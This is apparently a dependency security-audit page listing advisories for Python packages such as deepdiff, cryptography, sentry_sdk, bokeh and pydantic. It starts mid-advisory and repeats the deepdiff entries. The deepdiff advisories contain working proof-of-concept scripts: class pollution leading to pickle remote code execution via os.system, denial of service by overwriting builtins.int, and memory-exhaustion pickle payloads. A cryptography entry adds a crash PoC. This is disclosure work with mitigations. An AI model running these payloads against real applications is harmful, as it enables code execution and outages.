Care was taken by DeepDiff to prevent arbitrary code execution via the `SAFE_TO_IMPORT` allow list.
https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98
However, using the class pollution in the `Delta`, an attacker can add new entries to this `set`.
This then allows a second call to `Delta` to [unpickle an insecure class](https://davidhamann.de/2020/04/05/exploiting-python-pickle/) that runs `os.system`, for example.
#### Using dict
Usually, class pollution [does not work](https://gist.github.com/CalumHutton/45d33e9ea55bf4953b3b31c84703dfca#technical-details) when traversal starts at a `dict`/`list`/`tuple`, because it is not possible to reach `__globals__` from there.
However, using two calls to `Delta` (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type `deepdiff.helper.Opcode`, which then allows traversal to `__globals__`, and notably `sys.modules`, which in turn allows traversal to any module already loaded by Python.
Passing `Opcode` around can be done via pickle, which `Delta` will happily accept given it is in the default allow list.
### Proof of Concept
With deepdiff 8.6.0 installed, run the following scripts for each proof of concept.
All input to `Delta` is assumed to be user-controlled.
#### Denial of Service
This script will pollute the value of `builtins.int`, preventing the class from being used and making code crash whenever invoked.
```py
# ------------[ Setup ]------------
import pickle
from deepdiff.helper import Opcode
pollute_int = pickle.dumps(
{
"values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
"dictionary_item_added": {
(
("root", "GETATTR"),
("tmp", "GET"),
("__repr__", "GETATTR"),
("__globals__", "GETATTR"),
("__builtins__", "GET"),
("int", "GET"),
): "no longer a class"
},
}
)
assert isinstance(pollute_int, bytes)
# ------------[ Exploit ]------------
# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.
from deepdiff import Delta
# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}
# Before pollution
print(int("41") + 1)
# Apply Delta to mydict
result = mydict + Delta(pollute_int)
print(int("1337"))
```
```shell
$ python poc_dos.py
42
Traceback (most recent call last):
File "/tmp/poc_dos.py", line 43, in <module>
print(int("1337"))
TypeError: 'str' object is not callable
```
#### Remote Code Execution
This script will create a file at `/tmp/pwned` with the output of `id`.
```py
# ------------[ Setup ]------------
import os
import pickle
from deepdiff.helper import Opcode
pollute_safe_to_import = pickle.dumps(
{
"values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
"set_item_added": {
(
("root", "GETATTR"),
("tmp", "GET"),
("__repr__", "GETATTR"),
("__globals__", "GETATTR"),
("sys", "GET"),
("modules", "GETATTR"),
("deepdiff.serialization", "GET"),
("SAFE_TO_IMPORT", "GETATTR"),
): set(["posix.system"])
},
}
)
# From https://davidhamann.de/2020/04/05/exploiting-python-pickle/
class RCE:
def __reduce__(self):
cmd = "id > /tmp/pwned"
return os.system, (cmd,)
# Wrap object with dictionary so that Delta does not crash
rce_pickle = pickle.dumps({"_": RCE()})
assert isinstance(pollute_safe_to_import, bytes)
assert isinstance(rce_pickle, bytes)
# ------------[ Exploit ]------------
# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.
from deepdiff import Delta
# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}
# Apply Delta to mydict
result = mydict + Delta(pollute_safe_to_import)
Delta(rce_pickle) # no need to apply this Delta
```
```shell
$ python poc_rce.py
$ cat /tmp/pwned
uid=1000(dtc) gid=100(users) groups=100(users),1(wheel)
```
### Who is affected?
Only applications that pass (untrusted) user input directly into `Delta` are affected.
While input in the form of `bytes` is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding `app.secret_key` of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass.
### Mitigations
A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser.
This would have to be implemented in both `deepdiff.path._get_nested_obj` and `deepdiff.path._get_nested_obj_and_force`,
and possibly in `deepdiff.delta.Delta._get_elements_and_details`.
Example code that raises an error when traversing these properties:
```py
if elem.startswith("__") and elem.endswith("__"):
raise ValueError("traversing dunder attributes is not allowed")
```
However, if it is desirable to still support attributes starting and ending with `__`, but still protect against this vulnerability, it is possible to only forbid `__globals__` and `__builtins__`, which stops the most serious cases of class pollution (but not all).
This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180
|
| GHSA-54jj-px8x-5w5q | 8.6.2 | l10n_es_aeat_sii_match |
Show details### Summary
The pickle unpickler `_RestrictedUnpickler` validates which classes can be loaded but does not limit their constructor arguments. A few of the types in `SAFE_TO_IMPORT` have constructors that allocate memory proportional to their input (`builtins.bytes`, `builtins.list`, `builtins.range`). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call `pickle_load` with untrusted data.
### Details
CVE-2025-58367 hardened the delta class against pollution and remote code execution by converting `SAFE_TO_IMPORT` to a `frozenset` and blocking traversal. `_RestrictedUnpickler.find_class` only gates which classes can be loaded. It doesn't intercept `REDUCE` opcodes or validate what is passed to constructors.
It can be exploited in 2 ways.
**1 - During `pickle_load`**
A pickle that calls `bytes(N)` using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override `load_reduce` so any allowed class can be called.
```
GLOBAL builtins.bytes (passes find_class check — serialization.py:353)
INT 10000000000 (10 billion)
TUPLE + REDUCE → bytes(10**10) → allocates ~9.3 GB
```
**2 - During delta application**
A valid diff dict that first sets a value to a large int via `values_changed`, then converts it to bytes via `type_changes`. It works because `_do_values_changed()` runs before `_do_type_changes()` in `Delta.add()` in `delta.py` line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls `new_type(current_old_value)` at `delta.py` line 576 with no size guard.
### PoC
The script uses Python's `resource` module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change `10**8` to `10**10` for the full 9.3 GB allocation.
```python
import resource
import sys
def limit_memory(maxsize_mb):
"""Cap virtual memory for this process."""
soft, hard = resource.getrlimit(resource.RLIMIT_AS)
maxsize_bytes = maxsize_mb * 1024 * 1024
try:
resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard))
print(f"[*] Memory limit set to {maxsize_mb} MB")
except ValueError:
print("[!] Failed to set memory limit.")
sys.exit(1)
# Load heavy imports before enforcing the limit
from deepdiff import Delta
from deepdiff.serialization import pickle_dump, pickle_load
limit_memory(1024)
# --- Delta application path ---
payload_dict = {
'values_changed': {"root['x']": {'new_value': 10**8}},
'type_changes': {"root['x']": {'new_type': bytes}},
}
payload1 = pickle_dump(payload_dict)
print(f"Payload size: {len(payload1)} bytes")
target = {'x': 'anything'}
try:
result = target + Delta(payload1)
print(f"Allocated: {len(result['x']) // 1024 // 1024} MB")
print(f"Amplification: {len(result['x']) // len(payload1)}x")
except MemoryError:
print("[!] MemoryError — payload tried to allocate too much")
# --- Raw pickle path ---
payload2 = (
b"(dp0\n"
b"S'_'\n"
b"cbuiltins\nbytes\n"
b"(I100000000\n"
b"tR"
b"s."
)
print(f"Payload size: {len(payload2)} bytes")
try:
result2 = pickle_load(payload2)
print(f"Allocated: {len(result2['_']) // 1024 // 1024} MB")
except MemoryError:
print("[!] MemoryError — payload tried to allocate too much")
```
Output:
```
[*] Memory limit set to 1024 MB
Payload size: 123 bytes
Allocated: 95 MB
Amplification: 813008x
Payload size: 42 bytes
Allocated: 95 MB
```
### Impact
Denial of service. Any application that deserializes delta objects or calls `pickle_load` with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion.
The amplification is large. 800,000x for delta and 2,000,000x for raw pickle.
Impacted users are anyone who accepts serialized delta objects from untrusted sources — network APIs, file uploads, message queues, etc.
|
| pydantic<2 | |||
|---|---|---|---|
| ID | Fixed In | Affected modules | Details |
| GHSA-mr82-8j83-vxmv | 2.4.0, 1.10.13 | base_rest_pydantic pydantic base_rest_demo |
Show detailsRegular expression denial of service in Pydantic < 2.4.0, < 1.10.13 allows remote attackers to cause denial of service via a crafted email string.
|
| sentry_sdk<=1.9.0 | |||
|---|---|---|---|
| ID | Fixed In | Affected modules | Details |
| GHSA-g92j-qhmh-64v2 | 2.8.0, 1.45.1 | sentry |
Show details### Impact
The bug in Sentry's Python SDK <2.8.0 results in the unintentional exposure of environment variables to subprocesses despite the `env={}` setting.
### Details
In Python's `subprocess` calls, all environment variables are passed to subprocesses by default. However, if you specifically do not want them to be passed to subprocesses, you may use `env` argument in `subprocess` calls, like in this example:
```
>>> subprocess.check_output(["env"], env={"TEST":"1"})
b'TEST=1\n'
```
If you'd want to not pass any variables, you can set an empty dict:
```
>>> subprocess.check_output(["env"], env={})
b''
```
However, the bug in Sentry SDK <2.8.0 causes **all environment variables** to be passed to the subprocesses when `env={}` is set, unless the Sentry SDK's [Stdlib](https://docs.sentry.io/platforms/python/integrations/default-integrations/#stdlib) integration is disabled. The Stdlib integration is enabled by default.
### Patches
The issue has been patched in https://github.com/getsentry/sentry-python/pull/3251 and the fix released in [sentry-sdk==2.8.0](https://github.com/getsentry/sentry-python/releases/tag/2.8.0). The fix was also backported to [sentry-sdk==1.45.1](https://github.com/getsentry/sentry-python/releases/tag/1.45.1).
### Workarounds
We strongly recommend upgrading to the latest SDK version. However, if it's not possible, and if passing environment variables to child processes poses a security risk for you, there are two options:
1. In your application, replace `env={}` with the minimal dict `env={"EMPTY_ENV":"1"}` or similar.
OR
2. Disable Stdlib integration:
```
import sentry_sdk
# Should go before sentry_sdk.init
sentry_sdk.integrations._DEFAULT_INTEGRATIONS.remove("sentry_sdk.integrations.stdlib.StdlibIntegration")
sentry_sdk.init(...)
```
### References
* Sentry docs: [Default integrations](https://docs.sentry.io/platforms/python/integrations/default-integrations/)
* Python docs: [subprocess module](https://docs.python.org/3/library/subprocess.html)
* Patch https://github.com/getsentry/sentry-python/pull/3251
|
| GHSA-29pr-6jr8-q5jm | 1.14.0 | sentry |
Show details### Impact
When using the [Django integration](https://docs.sentry.io/platforms/python/guides/django/) of the Sentry SDK in a specific configuration it is possible to leak sensitive cookies values, including the session cookie to Sentry. These sensitive cookies could then be used by someone with access to your Sentry issues to impersonate or escalate their privileges within your application.
The below must be true in order for these sensitive values to be leaked:
1. Your Sentry SDK configuration has `sendDefaultPII` set to `True`
2. You are using a custom name for either of the cookies below in your Django settings.
- [`SESSION_COOKIE_NAME`](https://docs.djangoproject.com/en/4.1/ref/settings/#std-setting-SESSION_COOKIE_NAME) or
- [`CSRF_COOKIE_NAME`](https://docs.djangoproject.com/en/4.1/ref/settings/#std-setting-CSRF_COOKIE_NAME) Django settings
3. You are not configured in your organization or project settings to use [our data scrubbing features](https://docs.sentry.io/product/data-management-settings/scrubbing/) to account for the custom cookie names
### Patches
As of version `1.14.0`, the Django integration of the `sentry-sdk` will detect the custom cookie names based on your Django settings and will remove the values from the payload _before_ sending the data to Sentry.
### Workarounds
If you can not update your `sentry-sdk` to a patched version than you can use the SDKs filtering mechanism to remove the cookies from the payload that is sent to Sentry. For error events this can be done with the [before_send](https://docs.sentry.io/platforms/python/configuration/filtering/#using-platformidentifier-namebefore-send-) callback method and for performance related events (transactions) you can use the [before_send_transaction](https://docs.sentry.io/platforms/python/configuration/filtering/#using-platformidentifier-namebefore-send-transaction-) callback method.
If you'd like to handle filtering of these values on the server-side, you can also use our [advanced data scrubbing feature](https://docs.sentry.io/product/data-management-settings/scrubbing/advanced-datascrubbing/) to account for the custom cookie names. Look for the `$http.cookies`, `$http.headers`, `$request.cookies`, or `$request.headers` fields to target with your scrubbing rule.
### References
- [Using Your Tools Against You (Chapter8 Blog Post)](https://medium.com/@tomwolters/using-your-tools-against-you-cea4d2482ebb)
- [Sentry Python SDK Filtering](https://docs.sentry.io/platforms/python/configuration/filtering/)
- [Sentry Data Scrubbing](https://docs.sentry.io/product/data-management-settings/scrubbing/advanced-datascrubbing/)
### Credits
- [Tom Wolters (Chapter8)](https://chapter8.com)
|
24 vulnerabilities across 7 packages, affecting 7 modules.
| bokeh==3.1.1 | |||
|---|---|---|---|
| ID | Fixed In | Affected modules | Details |
| GHSA-793v-589g-574v | 3.8.2 | web_widget_bokeh_chart |
Show detailsThis vulnerability allows for **Cross-Site WebSocket Hijacking (CSWSH)** of a deployed Bokeh server instance.
### Scope
This vulnerability is only relevant to deployed Bokeh server instances. There is no impact on static HTML output, standalone embedded plots, or Jupyter notebook usage.
This vulnerability does not prevent any requirements for up-front authentication on Bokeh servers that have authentication hooks in place, and cannot be used to make Bokeh servers deployed on private, internal networks accessible outside those networks.
### Impact
If a Bokeh server is configured with an allowlist (e.g., `dashboard.corp`), an attacker can register a domain like `dashboard.corp.attacker.com` (or use a subdomain if applicable) and lure a victim to visit it. The malicious site can then initiate a WebSocket connection to the vulnerable Bokeh server. Since the Origin header (e.g., `http://dashboard.corp.attacker.com/`) matches the allowlist according to the flawed logic, the connection is accepted.
Once connected, the attacker can interact with the Bokeh server on behalf of the victim, potentially accessing sensitive data, or modifying visualizations.
### Patches
Patched in versions 3.8.2 and later.
### Workarounds
None
### Technical description
The `match_host` function in `src/bokeh/server/util.py` contains a flaw in how it compares hostnames against the allowlist patterns. The function uses Python's `zip()` function to iterate over the parts of the hostname and the pattern simultaneously. However, `zip()` stops iteration when the shortest iterable is exhausted.
Because the code only checks if the *pattern* is longer than the *host* (lines 232-233), but fails to check if the *host* is longer than the *pattern*, a host that **starts** with the pattern (but has additional segments) will successfully match.
For example, if the allowlist is configured to `['[example.com](http://example.com/)']`, the function will incorrectly validate `[example.com.bad.com](http://example.com.evil.com/)` as a match:
1. `host` parts: `['example', 'com', 'bad', 'com']`
2. `pattern` parts: `['example', 'com']`
3. `zip` compares `example==example` (OK) and `com==com` (OK).
4. Iteration stops, and the function returns `True`.
|
| cryptography<37 | |||
|---|---|---|---|
| ID | Fixed In | Affected modules | Details |
| GHSA-w7pp-m8wf-vj6r | 39.0.1 | mail_drop_target |
Show detailsPreviously, `Cipher.update_into` would accept Python objects which implement the buffer protocol, but provide only immutable buffers:
```pycon
>>> outbuf = b"\x00" * 32
>>> c = ciphers.Cipher(AES(b"\x00" * 32), modes.ECB()).encryptor()
>>> c.update_into(b"\x00" * 16, outbuf)
16
>>> outbuf
b'\xdc\x95\xc0x\xa2@\x89\x89\xadH\xa2\x14\x92\x84 \x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
```
This would allow immutable objects (such as `bytes`) to be mutated, thus violating fundamental rules of Python. This is a soundness bug -- it allows programmers to misuse an API, it cannot be exploited by attacker controlled data alone.
This now correctly raises an exception.
This issue has been present since `update_into` was originally introduced in cryptography 1.8.
|
| GHSA-x4qr-2fvf-3mr5 | 39.0.1 | mail_drop_target |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8.1-39.0.0 are vulnerable to a security issue. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20221213.txt and https://www.openssl.org/news/secadv/20230207.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| GHSA-5cpq-8wj7-hf2v | 41.0.0 | mail_drop_target |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.5-40.0.2 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://www.openssl.org/news/secadv/20230530.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| GHSA-jm77-qphf-c4w8 | 41.0.3 | mail_drop_target |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8-41.0.2 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230731.txt, https://www.openssl.org/news/secadv/20230719.txt, and https://www.openssl.org/news/secadv/20230714.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| GHSA-3ww4-gg4f-jr7f | 42.0.0 | mail_drop_target |
Show detailsA flaw was found in the python-cryptography package. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data.
|
| GHSA-v8gr-m533-ghj9 | 41.0.4 | mail_drop_target |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 2.5-41.0.3 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230908.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| GHSA-9v9h-cgj8-h64p | 42.0.2 | mail_drop_target |
Show detailsIssue summary: Processing a maliciously formatted PKCS12 file may lead OpenSSL
to crash leading to a potential Denial of Service attack
Impact summary: Applications loading files in the PKCS12 format from untrusted
sources might terminate abruptly.
A file in PKCS12 format can contain certificates and keys and may come from an
untrusted source. The PKCS12 specification allows certain fields to be NULL, but
OpenSSL does not correctly check for this case. This can lead to a NULL pointer
dereference that results in OpenSSL crashing. If an application processes PKCS12
files from an untrusted source using the OpenSSL APIs then that application will
be vulnerable to this issue.
OpenSSL APIs that are vulnerable to this are: PKCS12_parse(),
PKCS12_unpack_p7data(), PKCS12_unpack_p7encdata(), PKCS12_unpack_authsafes()
and PKCS12_newpass().
We have also fixed a similar issue in SMIME_write_PKCS7(). However since this
function is related to writing data we do not consider it security significant.
The FIPS modules in 3.2, 3.1 and 3.0 are not affected by this issue.
|
| PYSEC-2023-254 | 41.0.6 | mail_drop_target |
Show detailscryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault. Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability. This vulnerability has been patched in version 41.0.6.
|
| GHSA-r6ph-v2qm-q3c2 | 46.0.5 | mail_drop_target |
Show details## Vulnerability Summary
The `public_key_from_numbers` (or `EllipticCurvePublicNumbers.public_key()`), `EllipticCurvePublicNumbers.public_key()`, `load_der_public_key()` and `load_pem_public_key()` functions do not verify that the point belongs to the expected prime-order subgroup of the curve.
This missing validation allows an attacker to provide a public key point `P` from a small-order subgroup. This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as `S = [victim_private_key]P` via ECDH, this leaks information about `victim_private_key mod (small_subgroup_order)`. For curves with cofactor > 1, this reveals the least significant bits of the private key. When these weak public keys are used in ECDSA , it's easy to forge signatures on the small subgroup.
Only SECT curves are impacted by this.
## Credit
This vulnerability was discovered by:
- XlabAI Team of Tencent Xuanwu Lab
- Atuin Automated Vulnerability Discovery Engine
|
| PYSEC-2023-11 | 39.0.1 | mail_drop_target |
Show detailscryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In affected versions `Cipher.update_into` would accept Python objects which implement the buffer protocol, but provide only immutable buffers. This would allow immutable objects (such as `bytes`) to be mutated, thus violating fundamental rules of Python and resulting in corrupted output. This now correctly raises an exception. This issue has been present since `update_into` was originally introduced in cryptography 1.8.
|
| GHSA-m959-cc7f-wv43 | 46.0.6 | mail_drop_target |
Show details## Summary
In versions of cryptography prior to 46.0.5, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named `bar.example.com` to validate against a wildcard leaf certificate for `*.example.com`, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for `bar.example.com`.
This behavior resulted from a gap between RFC 5280 (which defines Name Constraint semantics) and RFC 9525 (which defines service identity semantics): put together, neither states definitively whether Name Constraints should be applied to peer names. To close this gap, cryptography now conservatively rejects any validation where the peer name would be rejected by a name constraint if it were a SAN instead.
In practice, exploitation of this bypass requires an uncommon X.509 topology, one that the Web PKI avoids because it exhibits these kinds of problems. Consequently, we consider this a medium-to-low impact severity.
See CVE-2025-61727 for a similar bypass in Go's `crypto/x509`.
## Remediation
Users should upgrade to 46.0.6 or newer.
## Attribution
Reporter: @1seal
|
| PYSEC-2026-35 | 46.0.6 | mail_drop_target |
Show detailscryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Prior to version 46.0.6, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named bar.example.com to validate against a wildcard leaf certificate for *.example.com, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for bar.example.com. This issue has been patched in version 46.0.6.
|
| GHSA-537c-gmf6-5ccf | 48.0.1 | mail_drop_target |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in wheels prior to cryptograph 48.01 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20260609.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| GHSA-jfhm-5ghh-2f97 | 41.0.6 | mail_drop_target |
Show details### Summary
Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault.
### PoC
Here is a Python code that triggers the issue:
```python
from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates
pem_p7 = b"""
-----BEGIN PKCS7-----
MAsGCSqGSIb3DQEHAg==
-----END PKCS7-----
"""
der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02"
load_pem_pkcs7_certificates(pem_p7)
load_der_pkcs7_certificates(der_p7)
```
### Impact
Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.
|
| deepdiff<8 | |||
|---|---|---|---|
| ID | Fixed In | Affected modules | Details |
| GHSA-mw26-5g2v-hqw3 | 8.6.1 | l10n_es_aeat_sii_match |
Show details### Summary
[Python class pollution](https://blog.abdulrah33m.com/prototype-pollution-in-python/) is a novel vulnerability categorized under [CWE-915](https://cwe.mitre.org/data/definitions/915.html). The `Delta` class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure [Pickle](https://docs.python.org/3/library/pickle.html) deserialization).
The gadget available in DeepDiff allows `deepdiff.serialization.SAFE_TO_IMPORT` to be modified to allow dangerous classes such as `posix.system`, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to `Delta` is user-controlled.
Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.
### Details
The `Delta` class can take different object types as a parameter in its constructor, such as a `DeltaDiff` object, a dictionary, or even just bytes (that are deserialized via Pickle).
When it takes a dictionary, it is usually in the following format:
```py
Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}})
```
Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23
However, this code only runs when parsing the path from a string.
The `_path_to_elements` function helpfully returns the given input if it is already a list/tuple:
https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53
This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:
```py
Delta(
{
"dictionary_item_added": {
(
("root", "GETATTR"),
("__init__", "GETATTR"),
("__globals__", "GETATTR"),
("PWNED", "GET"),
): 1337
}
},
)
```
Going back to the possible inputs of `Delta`, when it takes a `bytes` as input, it uses pickle to deserialize them.
Care was taken by DeepDiff to prevent arbitrary code execution via the `SAFE_TO_IMPORT` allow list.
https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98
However, using the class pollution in the `Delta`, an attacker can add new entries to this `set`.
This then allows a second call to `Delta` to [unpickle an insecure class](https://davidhamann.de/2020/04/05/exploiting-python-pickle/) that runs `os.system`, for example.
#### Using dict
Usually, class pollution [does not work](https://gist.github.com/CalumHutton/45d33e9ea55bf4953b3b31c84703dfca#technical-details) when traversal starts at a `dict`/`list`/`tuple`, because it is not possible to reach `__globals__` from there.
However, using two calls to `Delta` (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type `deepdiff.helper.Opcode`, which then allows traversal to `__globals__`, and notably `sys.modules`, which in turn allows traversal to any module already loaded by Python.
Passing `Opcode` around can be done via pickle, which `Delta` will happily accept given it is in the default allow list.
### Proof of Concept
With deepdiff 8.6.0 installed, run the following scripts for each proof of concept.
All input to `Delta` is assumed to be user-controlled.
#### Denial of Service
This script will pollute the value of `builtins.int`, preventing the class from being used and making code crash whenever invoked.
```py
# ------------[ Setup ]------------
import pickle
from deepdiff.helper import Opcode
pollute_int = pickle.dumps(
{
"values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
"dictionary_item_added": {
(
("root", "GETATTR"),
("tmp", "GET"),
("__repr__", "GETATTR"),
("__globals__", "GETATTR"),
("__builtins__", "GET"),
("int", "GET"),
): "no longer a class"
},
}
)
assert isinstance(pollute_int, bytes)
# ------------[ Exploit ]------------
# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.
from deepdiff import Delta
# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}
# Before pollution
print(int("41") + 1)
# Apply Delta to mydict
result = mydict + Delta(pollute_int)
print(int("1337"))
```
```shell
$ python poc_dos.py
42
Traceback (most recent call last):
File "/tmp/poc_dos.py", line 43, in <module>
print(int("1337"))
TypeError: 'str' object is not callable
```
#### Remote Code Execution
This script will create a file at `/tmp/pwned` with the output of `id`.
```py
# ------------[ Setup ]------------
import os
import pickle
from deepdiff.helper import Opcode
pollute_safe_to_import = pickle.dumps(
{
"values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
"set_item_added": {
(
("root", "GETATTR"),
("tmp", "GET"),
("__repr__", "GETATTR"),
("__globals__", "GETATTR"),
("sys", "GET"),
("modules", "GETATTR"),
("deepdiff.serialization", "GET"),
("SAFE_TO_IMPORT", "GETATTR"),
): set(["posix.system"])
},
}
)
# From https://davidhamann.de/2020/04/05/exploiting-python-pickle/
class RCE:
def __reduce__(self):
cmd = "id > /tmp/pwned"
return os.system, (cmd,)
# Wrap object with dictionary so that Delta does not crash
rce_pickle = pickle.dumps({"_": RCE()})
assert isinstance(pollute_safe_to_import, bytes)
assert isinstance(rce_pickle, bytes)
# ------------[ Exploit ]------------
# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.
from deepdiff import Delta
# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}
# Apply Delta to mydict
result = mydict + Delta(pollute_safe_to_import)
Delta(rce_pickle) # no need to apply this Delta
```
```shell
$ python poc_rce.py
$ cat /tmp/pwned
uid=1000(dtc) gid=100(users) groups=100(users),1(wheel)
```
### Who is affected?
Only applications that pass (untrusted) user input directly into `Delta` are affected.
While input in the form of `bytes` is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding `app.secret_key` of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass.
### Mitigations
A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser.
This would have to be implemented in both `deepdiff.path._get_nested_obj` and `deepdiff.path._get_nested_obj_and_force`,
and possibly in `deepdiff.delta.Delta._get_elements_and_details`.
Example code that raises an error when traversing these properties:
```py
if elem.startswith("__") and elem.endswith("__"):
raise ValueError("traversing dunder attributes is not allowed")
```
However, if it is desirable to still support attributes starting and ending with `__`, but still protect against this vulnerability, it is possible to only forbid `__globals__` and `__builtins__`, which stops the most serious cases of class pollution (but not all).
This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180
|
| GHSA-54jj-px8x-5w5q | 8.6.2 | l10n_es_aeat_sii_match |
Show details### Summary
The pickle unpickler `_RestrictedUnpickler` validates which classes can be loaded but does not limit their constructor arguments. A few of the types in `SAFE_TO_IMPORT` have constructors that allocate memory proportional to their input (`builtins.bytes`, `builtins.list`, `builtins.range`). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call `pickle_load` with untrusted data.
### Details
CVE-2025-58367 hardened the delta class against pollution and remote code execution by converting `SAFE_TO_IMPORT` to a `frozenset` and blocking traversal. `_RestrictedUnpickler.find_class` only gates which classes can be loaded. It doesn't intercept `REDUCE` opcodes or validate what is passed to constructors.
It can be exploited in 2 ways.
**1 - During `pickle_load`**
A pickle that calls `bytes(N)` using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override `load_reduce` so any allowed class can be called.
```
GLOBAL builtins.bytes (passes find_class check — serialization.py:353)
INT 10000000000 (10 billion)
TUPLE + REDUCE → bytes(10**10) → allocates ~9.3 GB
```
**2 - During delta application**
